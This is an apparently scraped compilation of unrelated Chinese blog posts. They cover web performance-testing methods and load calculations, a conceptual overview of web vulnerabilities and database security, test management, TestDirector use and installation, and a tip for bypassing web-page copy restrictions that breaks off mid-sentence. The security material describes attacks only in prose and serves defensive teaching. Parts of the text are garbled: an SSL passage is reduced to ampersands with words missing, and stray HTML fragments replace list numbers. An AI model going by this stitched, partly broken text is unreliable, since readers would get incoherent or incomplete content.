基于Web服务器的应用系统由于提供浏览器界面而无须安装，大大降低了系统部署和升级成本，得以普遍应用。目前，很多企业的核心业务系统均是Web应用，但当Web应用的数据量和访问用户量日益增加，系统不得不面临性能和可靠性方面的挑战。因此，无论是Web应用系统的开发商或最终用户，都要求在上线前对系统进行性能，科学评价系统的性能，从而降低系统上线后的性能风险。
在很多性能测试项目中，由于不能合理定义系统的性能测试需求，不能建立和真实环境相符的负载模型，不能科学分析性能测试结果，导致性能测试项目持续时间很长或不能真正评价系统性能并提出性能改进措施。
本文在总结许多Web应用系统性能测试实践经验和教训的基础上，从与性能测试工具无关的角度介绍Web应用系统性能测试的方法和实施过程，以及如何定义合理的性能测试需求。
性能测试：通过模拟大量浏览器客户端同时访问Web服务器，获得系统的性能数据。
虚拟用户：模拟浏览器向Web服务器发送请求并接收响应的一个进程或线程。
响应时间：浏览器向Web服务器提交一个请求到收到响应之间的间隔时间。
思考时间：浏览器在收到响应后到提交下一个请求之间的间隔时间。
请求成功率：Web服务器正确处理的请求数量和接收到的请求数量的比。
吞吐量：单位时间内Web服务器成功处理的HTTP页面或HTTP请求数量。
在线用户：用户通过浏览器访问登录Web应用系统后，并不退出该应用系统。通常一个Web应用服务器的在线用户对应Web应用服务器的一个Session。
并发用户数：Web服务器在一段时间内为处理浏览器请求而建立的HTTP连接数或生成的处理线程数。当所有在线用户发送HTTP请求的思考时间为零时，Web服务器的并发用户数等于在线用户数。
Web应用系统的前端为浏览器，后台为Web服务器（如Apache，Microsoft Internet Information Server），浏览器和Web服务器之间的交互基于HTTP协议。HTTP协议本身是无连接的，Web服务器通过Session机制来建立一个浏览器所发出的先后连接之间的关联。通过实验证明，当浏览器客户端在首次访问Web服务器后，如果该浏览器客户端不发送后续请求，服务器维持该浏览器客户端的Session变量所消耗的系统资源非常小。
标准的Web应用系统性能测试过程包括确定性能测试需求，开发性能测试脚本，定义性能测试负载模型，执行性能测试和形成性能测试报告。本章将分别介绍上述过程，并通过举例说明如何完成每一环节。
科学定义Web应用系统性能测试需求对一个成功的性能测试非常重要。通常，Web应用系统的性能测试需求有如下两种描述方法。
2.1.1 基于在线用户的性能测试需求
该需求描述方法主要基于Web应用系统的在线用户和响应时间来度量系统性能。当Web应用系统在上线后所支持的在线用户数以及操作习惯（包括操作和请求之间的延迟）很容易获得，如企业的内部应用系统， 通常采用基于在线用户的方式来描述性能测试需求。以提供网上购物的Web应用系统为例，基于在线用户的性能测试需求可描述为：10个在线用户按正常操作速度访问网上购物系统的下定单功能，下定单交易的成功率是100%，而且90%的下定单请求响应时间不大于8秒；当90%的请求响应时间不大于用户的最大容忍时间20秒时，系统能支持50个在线用户。
2.1.2 基于吞吐量的性能测试需求
该需求描述方法主要基于Web应用系统的吞吐量和响应时间来度量系统性能。当Web应用在上线后所支持的在线用户无法确定，如基于Internet的网上购物系统，可通过每天下定单的业务量直接计算其吞吐量，从而采取基于吞吐量的方式来描述性能测试需求。以网上购物系统为例，基于吞吐量的性能测试需求可描述为：网上购物系统在每分钟内需处理10笔下定单操作，交易成功率为100%，而且90%的请求响应时间不大于8秒。
在确定Web应用系统性能测试需求后，就要根据性能测试需求中确定的功能开发性能测试脚本。比如，针对前面定义的网上购物系统的性能测试需求，将开发下定单功能的性能测试脚本。
性能测试脚本是描述单个浏览器向Web服务器发送的HTTP请求序列。每个性能测试工具（如IBM Rational Performance Tester， LoadRunner）所提供的测试脚本语法是不同的。测试人员利用性能测试工具可从头手工编写测试脚本，也可以通过录制浏览器和Web服务器之间的网络通信数据而自动形成测试脚本。
任何性能测试工具都不能保证录制形成的性能测试脚本的正确性，测试人员应通过在单用户下运行性能测试脚本对其正确性进行验证。测试脚本不正确的一个重要原因就是脚本的数据关联不正确，也就是并没完全建立一个测试请求和前面的响应内容之间的关联。测试脚本HTTP请求和响应之间的数据关联是否正确的一个重要标准是单用户运行脚本，脚本能完成期望的功能。
在完成性能测试脚本的数据关联后，需要对脚本进行参数化，也就是把脚本中的某些请求数据替换成变量，变量的值来于一个独立的数据文件，从而保证在多虚拟用户运行脚本的情况下，每个虚拟用户所提交的数据是不同的。
此外，为了测试Web应用的可靠性，还需要对请求所收到的响应进行验证（比如验证响应的HTTP返回码或验证响应的内容），便于性能测试完成后统计请求成功率。
性能测试负载模型定义了测试工具如何向Web应用系统提交请求，包括向Web应用系统发送请求的虚拟用户数，每个虚拟用户发送请求的速度和频率。针对前面介绍的网上购物系统的性能测试需求，在性能测试工具中定义的性能测试负载模型应包括如下信息：
虚拟用户数：性能测试不仅仅是执行一次，而且每次执行时虚拟用户数也不固定，因此在性能测试负载模型中定义的虚拟用户数将在测试执行时进行设置。
虚拟用户发送请求的思考时间和迭代次数：虚拟用户发送请求的思考时间长短是决定Web应用系统负载量的重要因素之一，而迭代次数将决定性能测试的执行持续时间。对基于在线用户的性能测试需求，将基于录制脚本时记录的思考时间，而且由于现实中不同用户访问系统的思考时间不同，可把思考时间设置为在一定范围内的随机值。对于基于吞吐量的性能测试需求，将把思考时间设置为零，此时Web应用系统的在线用户数量将等于并发用户数。同时，为了避免性能测试压力的随机性，将增加请求的迭代次数来增加测试执行持续时间，从而获得系统在稳定压力下的性能数据。
虚拟用户启动模式：在现实中，Web应用系统的用户不太可能同时做相同的操作，因此为了让Web应用系统所承担的压力随时间均匀分布，建议虚拟用户依次启动，同时也避免大量用户同时登录造成系统阻塞。以10个虚拟用户模拟下定单为例，可设置每个虚拟用户间隔30秒启动，这样10个虚拟用户可在5分钟后完成启动，并保证10个虚拟用户不会在同一时刻下定单，从而更符合实际情况。
执行性能测试是指通过多次运行性能测试负载模型，获得系统的性能数据。在执行过程中，需利用测试工具、操作系统、系统软件（如Web Server或DB Server）提供的资源监控手段对资源进行监控和分析，帮助发现资源瓶颈，并在系统层面进行优化。同时，还需对应用进行性能分析，帮助定位应用代码中的性能问题，切实解决系统的性能问题。
性能测试项目的最后阶段就是向相关人员提交性能测试报告，汇报性能测试结果。在向相关人员汇报性能测试结果时，并不是性能测试报告越丰富、性能数据越多越好。好的性能测试报告是能准确、简单地传递性能测试结论，而不需太多的技术细节。
针对基于在线用户数的性能测试需求，可通过下图总结性能测试结论。其中横轴是在线用户数，纵轴是响应时间，如40在线用户访问网上购物系统时，90%的下定单请求响应时间不超过10秒。
针对基于吞吐量的性能测试需求，可通过下图的曲线来描述性能测试结果。以网上购物系统为例，下图描述下定单的并发用户、下定单响应时间以及吞吐量（服务器每秒处理定单笔数）之间的关系，从而快速判断系统是否能满足性能测试需求。从下图中可看出，并发用户增加，请求的响应时间也增加。服务器的吞吐量是先随并发用户数增加而增加，当吞吐量到达一定峰值后，再增加并发用户数，吞吐量会减少。原因在于当并发用户数少时，向Web服务器提交的请求量不大，服务器处理能力还有富余，所以吞吐量逐步增大；但当并发用户数超过某一值时，由于向服务器提交的请求太多，造成服务器阻塞，反而导致吞吐量减少。
前一章介绍了Web应用系统的性能测试过程，确定性能测试需求是整个性能测试的起点和成功的重要因素。性能测试需求定义得过高，虽然确保系统上线后能满足性能需求，但可能会造成硬件资源的浪费；性能测试需求定义得过低，系统上线后可能会出现性能问题。如何通过分析系统上线后可能的用户访问行为，来获得合理的性能测试需求指标呢？
假设现有一个基于Web的办公自动化系统（简称OA系统），该系统提供公文收发和查询功能。在部署该系统前，将对该系统进行性能测试。下面将详细介绍如何分析该OA系统的使用情况，定义合理的性能测试需求。
在线用户数量是指在特定时间区间内，有多少用户访问Web应用系统（对应到Web服务器的Session数），根据系统可能访问用户数以及每个用户访问系统的时间长短来确定。
对于将要部署的OA系统，通过分析获得该系统有8000个注册用户，基本上所有的用户每天（8小时工作时间）都会访问OA系统，平均在线时间（从登录OA系统到退出OA系统之间的时间间隔，也可以是多次在线时间的合计）为12分钟，那么该OA系统的平均在线数（也就是Web应用Session变量数）为200个（8000 * 0.2 / 8），假设峰值在线用户数是平均在线用户数的3倍（该倍数可根据实际情况调整），则性能测试需求的在线用户数为600。
由于时间和资源限制，不可能对Web应用系统的所有功能进行性能测试，而是从业务的角度（如某一功能操作的用户多）和技术的角度（如某一功能虽然访问用户不多，但内部处理逻辑复杂或处理数据量大）来选择Web应用系统的特定功能作为性能测试用例。
以OA系统为例，由于所有用户都经常公文查询功能，因此确定的性能测试用例为公文查询。
响应时间的快慢直接影响了系统使用用户的满意度，采用平均响应时间来描述系统系统性能测试需求是不科学的，因为无法直接和客户的满意度挂钩。而且，在做性能测试，如果某一请求的响应时间过长或过短，将导致平均响应时间和实际情况偏离。
以OA系统为例，定义的响应时间需求为：90%（该百分比和要求的系统用户满意度相关）的查询请求响应时间不超过8秒（该时间可根据实际情况确定）。
单位时间内Web应用系统需处理多少笔特定的交易可通过统计获得。以OA系统为例，假设每个用户每天（一天按8小时计算）平均会查询公文4次，那OA应用的Web服务器平均每分钟要能处理8000 * 4 / ( 60 * 8 ) = 66.67笔查询公文交易，考虑到峰值因素，要求每分钟能处理66.7 * 3=200笔查询公文交易。
通过前面的分析，能明确定义合理的性能测试需求。OA系统性能测试需求定义如下：
基于在线用户数的性能测试需求：600个在线用户按正常操作速度访问OA系统的查询公文功能，所有查询请求的成功率是100%，而且90%的查询请求响应时间不大于8秒。
基于吞吐量的性能测试需求：OA系统在每分钟内需处理200笔查询公文操作，交易成功率为100%，而且90%的请求响应时间不大于8秒。
Web应用性能测试项目成功的关键不在于性能测试工具，而在于有效的性能测试分析方法和实践。只有切实掌握性能测试需求分析方法，性能测试实践经验，才能保证一个Web应用性能测试的成功。
在Internet大众化及Web技术飞速演变的今天，在线安全所面临的挑战日益严峻。伴随着在线信息和服务的可用性的提升，以及基子Web的攻击和破坏的增长，安全风险达到了前所未有的高度。由于众多安全工作集中在网络本身上面，Web应用程序几乎被遗忘了。也许这是因为应用程序过去常常是在一台计算机上运行的独立程序，如果这台计算机安全的话，那么应用程序就是安全的。如今，情况大不一样了，Web应用程序在多种不同的机器上运行：客户端、Web服务器、数据库服务器和应用服务器。而且，因为他们一般可以让所有的人使用，所以这些应用程序成为了众多攻击活动的后台旁路。 由于Web服务器提供了几种不同的方式将请求转发给应用服务器，并将修改过的或新的网页发回给最终用户，这使得非法闯入网络变得更加容易。 而且，许多程序员不知道如何开发安全的应用程序。他们的经验也许是开发独立应用程序或Intranet Web应用程序，这些应用程序没有考虑到在安全缺陷被利用时可能会出现灾难性后果。 其次，许多Web应用程序容易受到通过服务器、应用程序和内部已开发的代码进行的攻击。这些攻击行动直接通过了周边防火墙安全措施，因为端口80或443（SSL，安全套接字协议层）必须开放，以便让应用程序正常运行。Web应用程序攻击包括对应用程序本身的DoS（拒绝服务）攻击、改变网页内容以及盗走企业的关键信息或用户信息等。 总之，Web应用攻击之所以与其他攻击不同，是因为它们很难被发现，而且可能来自任何在线用户，甚至是经过验证的用户。迄今为止，该方面尚未受到重视，因为企业用户主要使用防火墙和入侵检测解决方案来保护其网络的安全，而防火墙和入侵检测解决方案发现不了Web攻击行动。 常见的Web应用安全漏洞 下面将列出一系列通常会出现的安全漏洞并且简单解释一下这些漏洞是如何产生的。 已知弱点和错误配置 已知弱点包括Web应用使用的操作系统和第三方应用程序中的所有程序错误或者可以被利用的漏洞。这个问题也涉及到错误配置，包含有不安全的默认设置或管理员没有进行安全配置的应用程序。一个很好的例子就是你的Web服务器被配置成可以让任何用户从系统上的任何目录路径通过，这样可能会导致泄露存储在Web服务器上的一些敏感信息，如口令、源代码或客户信息等。 隐藏字段 在许多应用中，隐藏的HTML格式字段被用来保存系统口令或商品价格。尽管其名称如此，但这些字段并不是很隐蔽的，任何在网页上执行“查看源代码”的人都能看见。许多Web应用允许恶意的用户修改HTML源文件中的这些字段，为他们提供了以极小成本或无需成本购买商品的机会。这些攻击行动之所以成功，是因为大多数应用没有对返回网页进行验证；相反，它们认为输入数据和输出数据是一样的。后门和调试漏洞 开发人员常常建立一些后门并依靠调试来排除应用程序的故障。在开发过程中这样做可以，但这些安全漏洞经常被留在一些放在Internet上的最终应用中。一些常见的后门使用户不用口令就可以登录或者访问允许直接进行应用配置的特殊URL。& 跨站点脚本编写 一般来说，跨站点编写脚本是将代码插入由另一个源发送的网页之中的过程。利用跨站点编写脚本的一种方式是通过HTML格式，将信息帖到公告牌上就是跨站点脚本编写的一个很好范例。恶意的用户会在公告牌上帖上包含有恶意的Javascrīpt代码的信息。当用户查看这个公告牌时，服务器就会发送HTML与这个恶意的用户代码一起显示。客户端的浏览器会执行该代码，因为它认为这是来自Web服务器的有效代码。 参数篡改 参数篡改包括操纵URL字符串，以检索用户以其他方式得不到的信息。访问Web应用的后端数据库是通过常常包含在URL中的SQL调用来进行的。恶意的用户可以操纵SQL代码，以便将来有可能检索一份包含所有用户、口令、信用卡号的清单或者储存在数据库中的任何其他数据。 更改cookie 更改cookie指的是修改存储在cookie中的数据。网站常常将一些包括用户ID、口令、帐号等的cookie存储到用户系统上。通过改变这些值，恶意的用户就可以访问不属于他们的帐户。攻击者也可以窃取用户的cookie并访问用户的帐户，而不必输入ID和口令或进行其他验证。 输入信息控制 输入信息检查包括能够通过控制由CGI脚本处理的HTML格式中的输入信息来运行系统命令。例如，使用CGI脚本向另一个用户发送信息的形式可以被攻击者控制来将服务器的口令文件邮寄给恶意的用户或者删除系统上的所有文件。
缓冲区溢出 缓冲区溢出是恶意的用户向服务器发送大量数据以使系统瘫痪的典型攻击手段。该系统包括存储这些数据的预置缓冲区。如果所收到的数据量大于缓冲区，则部分数据就会溢出到堆栈中。如果这些数据是代码，系统随后就会执行溢出到堆栈上的任何代码。Web应用缓冲区溢出攻击的典型例子也涉及到HTML文件。如果HTML文件上的一个字段中的数据足够的大，它就能创造一个缓冲器溢出条件。 直接访问浏览 直接访问浏览指直接访问应该需要验证的网页。没有正确配置的Web应用程序可以让恶意的用户直接访问包括有敏感信息的URL或者使提供收费网页的公司丧失收入。 Web应用安全两步走 Web应用攻击能够给企业的财产、资源和声誉造成重大破坏。虽然Web应用增加了企业受攻击的危险，但有许多方法可以帮助减轻这一危险。首先，必须教育开发人员了解安全编码方法。仅此项步骤就会消除大部分Web应用的安全问题。其次，坚持跟上所有厂商的最新安全补丁程序。如果不对已知的缺陷进行修补，和特洛伊木马一样，攻击者就能很容易地利用你的Web应用程序穿过防火墙访问Web服务器、数据库服务器、应用服务器等等。将这两项步骤结合起来，就会大大减少Web应用受到攻击的风险。同时管理人员必须采取严格措施，以保证不让任何东西从这些中溜过去
关于网络数据库里一些商业数据被盗窃后公布于网上；公司商业网站的产品价格数据又被恶意修改……类似这样的案例，在网上搜索了一下，实在不少。其原因只有一个，就是来自网络上对Web数据库攻击。那么，在Web环境下的数据库是否能有足够的安全为企业服务呢?答案是肯定的。
Web数据库是基于Internet/Intranet的应用系统，由于互连网开放性和通信协议的安全缺陷，以及在网络环境中数据存储和对其访问与处理的分布性特点，网上传输的数据容易受到破坏、窃取、篡改、转移和丢失。这些危害通常是对网络的攻击引起的。
到现在，针对Web数据库的应用级入侵已经变得越来越猖獗，如SQL注入、跨站点脚本攻击和未经授权的用户访问等。
所有这些入侵都有可能绕过前台安全系统并对数据库系统攻击。如何保证Web数据库的安全性已成为新的课题。
第一关、对用户安全管理
Web数据库是个极为复杂的系统，因此很难进行正确的配置和安全维护，当然，必须首先要保证的就是数据库用户的权限的安全性。
当用户通过Web方式要对数据库中的对象(表、视图、触发器、存储过程等)进行操作时，必须通过数据库访问的身份认证。多数数据库系统还有众所周知的默认账号和密码，可支持对数据库资源的各级访问。因此，很多重要的数据库系统很可能受到威协。
用户存取权限是指不同的用户对于不同的数据对象有不同的操作权限。存取权限由两个要素组成：数据对象和操作类型。定义一个用户的存取权限就是要定义这个用户可以在哪些数据对象上进行哪些类型的操作。
权限分系统权限和对象权限两种。系统权限由DBA授予某些数据库用户，只有得到系统权限，才能成为数据库用户。对象权限是授予数据库用户对某些数据对象进行某些操作的权限，它既可由DBA授权，也可由数据对象的创建者授予。
第二关、定义视图
为不同的用户定义不同的视图，可以限制用户的访问范围。通过视图机制把需要保密的数据对无权存取这些数据的用户隐藏起来，可以对数据库提供一定程度的安全保护。实际应用中常将视图机制与授权机制结合起来使用，首先用视图机制屏蔽一部分保密数据，然后在视图上进一步进行授权。
第三关、数据加密
数据安全隐患无处不在。一些机密数据库、商业数据等必须防止它人非法访问、修改、拷贝。如何保证数据安全?数据加密是应用最广、成本最低廉而相对最可靠的方法。数据加密是保护数据在存储和传递过程中不被窃取或修改的有效手段。
数据加密系统包括对系统的不同部分要选择何种加密算法、需要多高的安全级别、各算法之间如何协作等因素。在系统的不同部分要综合考虑执行效率与安全性之间的平衡。因为一般来讲安全性总是以牺牲系统效率为代价的。
如果要在Internet上的两个客户端传递安全数据，这就要求客户端之间可以彼此判断对方的身份，传递的数据必须加密，当数据在传输中被更改时可以被发觉。
第四关、事务管理和故障恢复
事务管理和故障恢复主要是对付系统内发生的自然因素故障，保证数据和事务的一致性和完整性。
故障恢复的主要措施是进行日志记录和数据复制。在网络数据库系统中，分布事务首先要分解为多个子事务到各个站点上去执行，各个服务器之间还必须采取合理的算法进行分布式并发控制和提交，以保证事务的完整性。
事务运行的每一步结果都记录在系统日志文件中，并且对重要数据进行复制，发生故障时根据日志文件利用数据副本准确地完成事务的恢复。
第五关、数据库备份与恢复
计算机同其他设备一样，都可能发生故障。计算机故障的原因多种多样，包括磁盘故障、电源故障、软件故障、灾害故障以及人为破坏等。一旦发生这种情况，就可能造成数据库的数据丢失。
因此数据库系统必须采取必要的措施，以保证发生故障时，可以恢复数据库。数据库管理系统的备份和恢复机制就是保证在数据库系统出故障时，能够将数据库系统还原到正常状态。
加强数据备份非常重要，数据库拥有很多关键的数据，这些数据一旦遭到破坏后果不堪设想，而这往往是入侵者真正关心的东西。不少管理员在这点上作得并不好，不是备份不完全，就是备份不及时。
数据备份需要仔细计划，制定出一个策略测试后再去实施，备份计划也需要不断地调整。
第六关、审计追踪机制
审计追踪机制是指系统设置相应的日志记录，特别是对数据更新、删除、修改的记录，以便日后查证。日志记录的内容可以包括操作人员的名称、使用的密码、用户的IP地址、登录时间、操作内容等。若发现系统的数据遭到破坏，可以根据日志记录追究责任，或者从日志记录中判断密码是否被盗，以便修改密码，重新分配权限，确保系统的安全。
第七关、重点在服务器
Web数据库的三层体系结构中，数据存放在数据库服务器中，大部分的事务处理及商业逻辑处理在应用服务器中进行，由应用服务器提出对数据库的操作请求。
理论上，既可以通过Web页面调用业务处理程序来访问数据库，也可以绕过业务处理程序，使用一些数据库客户端工具直接登录数据库服务器，存取操作其中的数据。所以，数据库服务器的安全设置至关重要。
用IDS(入侵检测系统)保卫数据库安全逐步普及，这种安全技术将传统的网络和操作系统级入侵探测系统(IDS)概念应用于数据库。应用IDS提供主动的、针对SQL的保护和监视，可以保护预先包装或自行开发的Web应用。
SSL&&&& & &SSLSSLSecurity Socket Lauer()NetscapeSSL/RSAHTTPTCPSSLSSLhttphttpsSSL
&& &&&&&&& &&
&&&&&& WEBWEBWEBURLWEBindex.htm,WEB
&&&&&&&&& index.htm
今天和一个朋友聊天，聊到测试管理这个话题，朋友突然问我，你这个测试主管快要成光杆司令了，还管理什么啊？我笑曰，我现在主要不是管人，是管事。
玩笑归玩笑，我倒是想来聊聊测试管理到底做些什么。
一般一提到管理，人们第一个感觉就是管人，可能是被几千年封建帝制禁锢了头脑，说到管理就必须是人管人，人统治人，人使唤人，似乎必须有这个上下的层级关系才叫管理。
但是在很多行业似乎颠覆了这个观念，譬如说项目管理，物流管理，核心是管什么呢？到底是谁管谁呢？似乎也找不到一个明晰的管理和被管理的层级关系。测试管理也是一样，管理的核心应该说是事，而不是人。具体来说测试管理是一门学问，包括配置管理，缺陷管理，用例管理，工具引进，质量控制，效率提升，过程改进等等，当然也包括对测试人员的激励，考核，以及测试总结等有关测试人力资源的事情，但总体来说，测试管理的主要职责还是管事，具体就是管流程，管质量，管效率。
我们国内的大多数的小IT公司的现状也的确如此，很多的测试主管手下小兵数目屈指可数，甚至更小一点的公司测试主管基本就是光杆司令，这等公司的测试主管属于没人可供自己管，又必须要对产品质量负责，所以作为主管就只好又当爹又当妈，既要亲手测试，又要抓流程，抓过程改进，质量改进等等，这类主管的职能就是管事。并且这种现象在一些测试人力相对不足的公司尤其多。
当然，往高层一点的管理，譬如经理级的，那就要花心思管人了，需要用手段，谋略，使自己手下的人都能拼命的愉快的充满希望的干活，这就需要这个管理者有人格魅力，有超强的描绘公司蓝图的能力（虽然往往都不能兑现），有所谓的“为君之道”。真正到这个层级的管理可能才是以人为主。不过到这个层级上的这个管理就不算测试管理的范畴了。
对于我们一般从业的测试人员来说，没有人愿意一直黑盒一辈子，大方向无非是以下几个：测试管理、自动化、白盒测试、性能测试。上面说的几个，第一个算是管理路线，后面几个算是技术路线。对于部分志在测试管理的从业者来说，我觉得要搞清楚这个观念，测试管理的主要内涵是管事，而不是管人。也许你现在不在主管职位上，但不是说不在主管职位上就不能学习测试管理，那是一门学问，而不是经理和主管们的专利。也许你目前只是一个普通的黑盒测试工程师，也还是要用心揣摩“测试管理那些事”，不然你永远只能是一个忠实的执行者。
TD（TestDirector）的使用一．TD能为测试做什么？1．TD简介：TestDirector能够让你系统地控制整个测试过程，并创建整个测试工作流的框架和基础，使整个测试管理过程变得更为简单和有组织。TestDirector 能够帮助你维护一个测试工程数据库，并且能够覆盖你的应用程序功能性的各个方面。在你的工程中的每一个测试点都对应着一个指定的测试需求。TestDirector还专门提供了一个完善的缺陷跟踪系统，它能够让你跟踪缺陷从产生到最终解决的全过程。TestDirector通过与你的邮件系统相关联，缺陷跟踪的相关信息就可以被整个应用开发组，QA , 客户支持，负责信息系统的人员所共享。TestDirector会指导你进行需求定义、测试计划、测试执行和缺陷跟踪，即整个测试过程的各个阶段。通过整合所有的任务到应用程序测试中来确保你的客户收到更高质量的产品。2．测试管理管理过程TestDirector 的测试管理包括如下四个阶段：需求定义（Specify Requirements）：分析应用程序并确定测试需求。测试计划（Plan Tests）：基于测试需求，建立测试计划。测试执行（Execute Tests）：创建测试集（Test Set）并执行测试。缺陷跟踪（Track Defects）：报告程序中产生的缺陷并跟踪缺陷修复的全过程。3．TD数据库保存数据当你创建一个TestDirector 工程后，你需要存储和管理TestDirector 自身产生和连接的数据库。每一个工程都支持通过数据库来存储工程信息。4．用户权限TestDirector允许你管理用户访问工程的权限，它会创建一个有权用户的列表和为一个组或者是一个用户分配一个口令。你可以控制每个用户能够对项目进行怎样的添加和修改。二．需求范围（Requirements）1．进入TD：在web上启动TD：http://td-server/tdbin/打开TD首页。选择工程名，用户和密码登陆TD2．三．测试计划（测试用例设计）(Test plan)四．执行测试（Test lab）五．Bug管理（defects）六．测试流程关联
写了两篇关于方面的日志，今天我来回忆一下TD的历程。
&&& TD（TestDirector）是一个功能强大的测试管理系统，此系统涵盖了整个测试流程。相对一些其它的一些缺陷管理工具而言，TD容易操作、易学易上手。
&&& 由于最早的就是TD，到现在已经有一段时间了，前两篇文章（、）居然把这个给淡忘了，惭愧万分&&&。
下面开始介绍一下TD吧：&&& 安装与我就不细说了，上网下载安装手册“下一步”就OK了。如果可以的话，安装程序里也有英文的帮助说明。配置此篇暂略过……&&
TD主要分为四个功能版块：&&& 1、需求 &&& 2、测试计划 &&& 3、测试实验室 &&& 4、缺陷
&&& TD上需求是定义测试内容与详细的需求，理论上是由测试组完成的。但综合公司的具体环境，有些时候可能需要开发来完成。&&& 测试计划可以由需求直接转化（tools —& Convert to tests），也可根据需求文档自定义测试计划。&&& 测试实验室里，你可以创建执行流程。这里记录了所有你执行过的测试与结果。&&& 缺陷管理栏，记录了测试过程中发现的所有问题，与开发的交互多在于此。
&&& 其实TD的操作并不难，没有代码，不会有太多文字，也全部都是很常用的控件组合。只要你熟悉这个测试流程，使用TD没有问题！&&&&& 整体流程可概括为：创建项目，明确需求；根据需求生成测试计划；按照计划设计并执行测试；发现问题记录问题。但实际应用中可能会遇到一系统的阻力了。&&& 例如你公司开发整个流程是否正规，是否有文档可依。你是否有权力或有能力参与需求的设计与修改。之所以我所谓的“需求有些情况由开发定义”。TD的功能就在那里，该怎么做合适，我想没有定论，需要根据企业实际情况来定了。&&&&& 对于测试而言，我觉得能设计出一个合理有效的是最很需要的。这个需要你动脑筋，需要对你产品的功能及业务非常熟悉，否则写用例也是纸上谈兵。用例的设计格式，可以参考TD安装生成的默认测试演示库，那里就是设计整个“订飞机票”网站的测试流程，很有学习价值。&&&&& 在测试实验室里，你可以像开发设计业务流程一样，设计出一个测试步骤一步步的执行（Execution Flow）。在执行网格里你可以看到测试的历史记录与结果，我们需要在这里查看测试的进度和BUG的分部。&&& 缺陷管理里，就是测试和开交流的天堂了。我个人觉得很好用！你可以通过对列的筛选，很快到找到你要需要的信息并进行分析。在测试执行时可以自动添加缺陷，里面还自动记录一些测试信息。在以后的回归测试中，R&D Comments里记录了开发和测试的交互过程，也可以查看历史记录（history）。分析结果并输出……&&& 有一个很隐蔽的功能，在右上角的 tools -& Document Generator 。你可以选择TD里任何你想要的信息，然后设置格式输出到WORD，下班后拿回宿舍分析。&&&&& 菜单里的Analysis也是比较常用的工具，可以帮助你分析结果并输出报告。&&&&&&在Add-Ins Page里有很多插件，可以根据需要下载安装。有office插件、TD浏览器等等……&&& 不同版本的TD，功能核心都是一样的，只是外观有些变化，增加了一些小功能。至于现在出现的QC我也有幸尝试过，界面色调完全改了，多了文字处理功能、强化了图像分析功能。这些我想用过TD的朋友们肯定很容易上手的啦。&&& 讲到最后，连最重要的用例设计都没详细讲到。因为每家公司的产品和面对客户都不尽相同，其实没有一个固定的说法。我只浅谈一下我的感想吧：&&&&&<FONT color=#、设计用例之前，你必要非常熟悉产品。用产品的每个功能模块与关联要很清楚。&&&<FONT color=#、更多的去了解客户的需要，有机会多和客服勾通。如果能和客户面对面最好了，客户对产品的要求往往和开发者会有一定的差距。了解业务流你会设计更实际的用例，发现更有意义的BUG。&&& <FONT color=#、多和组内同事讨论，“三人行必有我师”。即使你再强，你也会有想不到的地方，一个人的力量是有限的。&&& <FONT color=#、用例的描述，要简要、清晰。因为你设计的用例可能被别人执行、新员工的参考和学习。&&& 5、每个步骤，尽可能多的想到他的关联，但不要冗余（容易理解不容易做）。&&& <FONT color=#、一个完整的用例应涉及所有的功能与业务需求（需要很周全的考虑）。暂时想到的就这么多吧，欢迎广大的测试朋友们前来补充。&&& 所以，要设计出一个精炼而有效的测试用例，是不容易的。也是我们每个测试人员力求的！&&TD对于管理而言，相对于对工作进行了量化的标准。在TD上，你可以看到某个人什么时候在做什么事情、当前测试进度到哪了、某个版本缺陷的分布等等等等。对公司而言，产品库的建立是公司的一个资本。IT的工作量的一直是很难衡量的一个问题，TD在此对企业的管理者也提供了一些帮助。
&&& 由于某些需要，可能我们需要尝试一些其它的管理工具。我个人也尝试过Rational、开源、其它的。Rational的那一套，我在里有谈到。内容太多了，关于他的CQ，仅仅是缺陷管理，没有TD强大。但Rational是一套解决方案，CQ只是其中一个模块，拿起来和TD比有些不合适。Rational的资料在网上可利用的就更少了，我一直没有研究出什么成绩来，在此就不多说了&&。网上还有很多缺陷管理工具，开源的bugzilla就有很多人推荐。但安装都很麻烦，不易维护，功能不也多，我也没有多研究了。还有试过TestTrack..... 这些功能都很少，仅相当于TD中的Defects。还是推荐用TD吧，其它小工具也有他存在的理由，适合一定的需求环境，需要大家可以。&&
&&& 这些可都是白手起家，“搜”出来的喔 :-0&
作为MI的三大产品之一,TD在BUG管理上和需求的管理上都有一定的独到之处.大多数的开发者和测试人员大多都是使用TD,而没有实际的安装过.下面我把我安装TD的过程负责给大家,权当扫盲,让大家们见笑了!一. 操作系统的准备由于要使用IIS和SQL SERVER数据库,考虑到运行的稳定性,选用的操作系统为WIN2K SERVER版.二. 安装IIS具体安装IIS的步骤可参见附件一,其中对IIS的安装有很详细的说明.值的说明的是,安装完IIS后,一定要在IIS服务器上设置一个虚拟路径,然后在别的机器上进行HTTP连接,以确认IIS安装的有效性.三. 安装SQL SERVERSQL SERVER用作是TD的底层数据库,用来存储TD的相关数据,我使用的版本为2K开发人员版.至于SQL SERVER的安装就很简单了,而且相关资料也很多,就不多说了.四. 安装TD我使用的TD版本为8.0 with SP1, 虚拟过来大约300多M, 没有要求我输入论证口令等信息.在安装过程中,基本上都是一路NEXT点击下来,最后安装成功.在安装过程中,有三点说明一下:1) 最好设置一下管理者的口令; 2) TD会在IIS的本地网络中添加一项TDBin的目录,同时产生本地网络访问目录.TDBin就是以后所有要使用TD的目录; 3) TD会在SQL SERVER数据库中添加一个新的数据库???????,用来存储TD数据.通过努力,TD很顺利的就安装成功.没有打TD SP2补丁包(因为自己也不知道改了什么),就先用着吧.这时在别的机器上输入TD服务器的路径,就可以进入TD的使用了.刚刚安装完的TD只有一个Domain,名称叫D 其下面只有一个project,名称叫TestDirect_Demo,而在用户里,有admin用户,基本上没有其它的用户.使用admin,进入到TestDirector administrate,对TD进行进一步的操作,包括添加新Domain, user, project, 如何导出信息,生成报表等.在安装过程中,可能太顺了,没有出现像坛子里大家的问题,可能使用的不多吧,嘿嘿,明天要细细的设置和用一下,对了,还忘了要更新一下字体,否则看着太难看了.
当您在网上看到一篇好文章，想复制的时候，可网页却限制了使用“复制”、“粘贴”等右键命令，那么要如何破解这个功能呢？
单击IE浏览器的“工具”——“internet选项”——“安全”，将其中的“internet”的安全级别设为最高级别，“确定”后刷新网页即可。也可以点击IE菜单栏上的"文件"-&发送-&电子邮件页面(跟这向导说的去做就可以拉,一路点击'下一步")然后就可以在弹出的邮件窗口中复制你要的内容就可以了。
安全级别最高的时候，一切控件和脚本均不能运行，再厉害的网页限制手段统统全部作废。
但对有些网页却不管用因为他们并不用脚本限制我们的(好象起点就是这样)，他们在网页中加了如下代码:
